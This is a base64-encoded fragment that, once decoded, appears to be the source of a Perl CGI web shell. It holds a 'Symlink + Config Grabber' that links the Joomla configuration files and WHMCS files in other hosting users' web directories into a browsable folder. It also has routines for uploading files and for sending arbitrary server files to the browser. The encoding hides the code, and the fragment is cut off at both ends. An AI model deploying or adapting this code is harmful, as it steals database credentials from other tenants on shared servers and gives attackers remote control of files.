ScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL25ldy9jb25maWd1cmF0aW9uLnBocCcsIHR5cGUgPT4gJ0pvb21sYScgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dITUNTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobWNzMS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XaG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC93aG1jcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE1DL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1dobWMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvd2htYy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9XSE0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvV2htL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3dobS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9IT1NUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hvc3Qvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9zdC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JURVMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvU3VwcG9ydGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3N1cHBvcnRlcy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9kb21haW5zL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2RvbWFpbi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9Ib3N0aW5nL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0hPU1RJTkcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvaG9zdGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DQVJUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NhcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2FydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PUkRFUi9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9PcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9vcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlRBUkVBL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudGFyZWEvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1N1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CSUxMSU5HL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmcvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmlsbGluZy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CVVkvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQnV5L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2J1eS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9NQU5BR0Uvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvTWFuYWdlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL21hbmFnZS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9DTElFTlRTVVBQT1JUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NsaWVudFN1cHBvcnQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50c3VwcG9ydC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRzdXBwb3J0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NIRUNLT1VUL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NoZWNrb3V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9CYXNrZXQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9TZWN1cmUvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1NhbGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQmlsbC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQWNjb3VudC9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvVXNlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvQ2xpZW50cy9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0sIHtjb25maWdkaXIgPT4gJy9ob21lLycuJHVzZXJueWEuJy9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL015L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAnLCB0eXBlID0+ICdXSE1DUycgfSwge2NvbmZpZ2RpciA9PiAnL2hvbWUvJy4kdXNlcm55YS4nL3B1YmxpY19odG1sL2NsaWVudGUvc3VibWl0dGlja2V0LnBocCcsIHR5cGUgPT4gJ1dITUNTJyB9LCB7Y29uZmlnZGlyID0+ICcvaG9tZS8nLiR1c2VybnlhLicvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwJywgdHlwZSA9PiAnV0hNQ1MnIH0gKTsgZm9yZWFjaCAoQGFycmF5KXsgbXkgJGNvbmZpZ255YSA9ICRfLT57Y29uZmlnZGlyfTsgbXkgJHR5cGVjb25maWcgPSAkXy0+e3R5cGV9OyBzeW1saW5rKCIkY29uZmlnbnlhIiwic3ltbGlua19jb25maWcvJHVzZXJueWEtJHR5cGVjb25maWcudHh0Iik7IG1rZGlyICJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQiOyBzeW1saW5rKCIkY29uZmlnbnlhIiwic3ltbGlua19jb25maWcvJHVzZXJueWEtJHR5cGVjb25maWcudHh0NDA0L3BwcS50eHQiKTsgY29weSgic3ltbGlua19jb25maWcvbmVtdS50eHQiLCJzeW1saW5rX2NvbmZpZy8kdXNlcm55YS0kdHlwZWNvbmZpZy50eHQ0MDQvLmh0YWNjZXNzIikgOyB9IH0gcHJpbnQgInN1Y2Nlc3MiOw0KfQ0Kc3ViIEhlbHANCnsNCnByaW50ICI8Y29kZT4gSG93IFRvIFVzZXIgU3ltbGluayArIENvbmZpZyBHcmFiYmVyPyBKdXN0IEtsaWsgU3ltbGluayArIENvbmZpZyBHcmFiYmVyPGJyPiI7DQpwcmludCAiIFRoZW4gQ2hlY2sgRGlycyBCeSBFbnRlciBUaGUgVVJMPGJyPiI7DQpwcmludCAiIEV4YW1wbGU6IHNpdGUuY29tL2NnaWRpcnMvc3ltbGlua19jb25maWc8YnI+IjsNCnByaW50ICIgRm9yIFN5bWxpbmsgSnVzdCBBZGQgSW4gVXJsPGJyPiI7DQpwcmludCAiIEV4YW1wbGU6IHNpdGUuY29tL2NnaWRpcnMvc3ltbGlua19jb25maWcvcm9vdC88L2NvZGU+IjsNCn0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0Kew0KaWYoJFdpbk5UKQ0Kew0KYmlubW9kZShTRU5ERklMRSk7DQpiaW5tb2RlKFNURE9VVCk7DQp9DQokRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCigkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+IG0hKFteL15cXF0qKSQhOw0KcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQpwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCnByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KY2xvc2UoU0VOREZJTEUpOw0KfQ0KZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCnByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkITwvY29kZT4iOw0KJlByaW50RmlsZURvd25sb2FkRm9ybTsNCiZQcmludFBhZ2VGb290ZXI7DQp9DQp9DQoNCg0Kc3ViIEJlZ2luRG93bmxvYWQNCnsNCiMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCmlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQp7DQokVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQp9DQplbHNlICMgcGF0aCBpcyByZWxhdGl2ZQ0Kew0KY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCiRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQp9DQoNCmlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQp7DQomU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KfQ0KZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UNCnsNCiZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KfQ0KfQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCiMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCiZQcmludEZpbGVVcGxvYWRGb3JtOw0KJlByaW50UGFnZUZvb3RlcjsNCnJldHVybjsNCn0NCiZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCnByaW50ICI8Y29kZT5VcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQojIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQpjaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsNCiRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQokVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7DQojIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCmlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0Kew0KcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCn0NCmVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50DQp7DQppZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkNCnsNCmJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOw0KcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307DQpjbG9zZShVUExPQURGSUxFKTsNCnByaW50ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCnByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7DQp9DQplbHNlDQp7DQpwcmludCAiRmFpbGVkOiAkITxicj4iOw0KfQ0KfQ0KcHJpbnQgIjwvY29kZT4iOw0KJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQomUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQpzdWIgRG93bmxvYWRGaWxlDQp7DQojIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KaWYoJFRyYW5zZmVyRmlsZSBlcSAiIikNCnsNCiZQcmludFBhZ2VIZWFkZXIoImYiKTsNCiZQcmludEZpbGVEb3dubG9hZEZvcm07DQomUHJpbnRQYWdlRm9vdGVyOw0KcmV0dXJuOw0KfQ0KDQojIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQppZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCighJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQ0Kew0KJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOw0KfQ0KZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCnsNCmNob3AoJFRh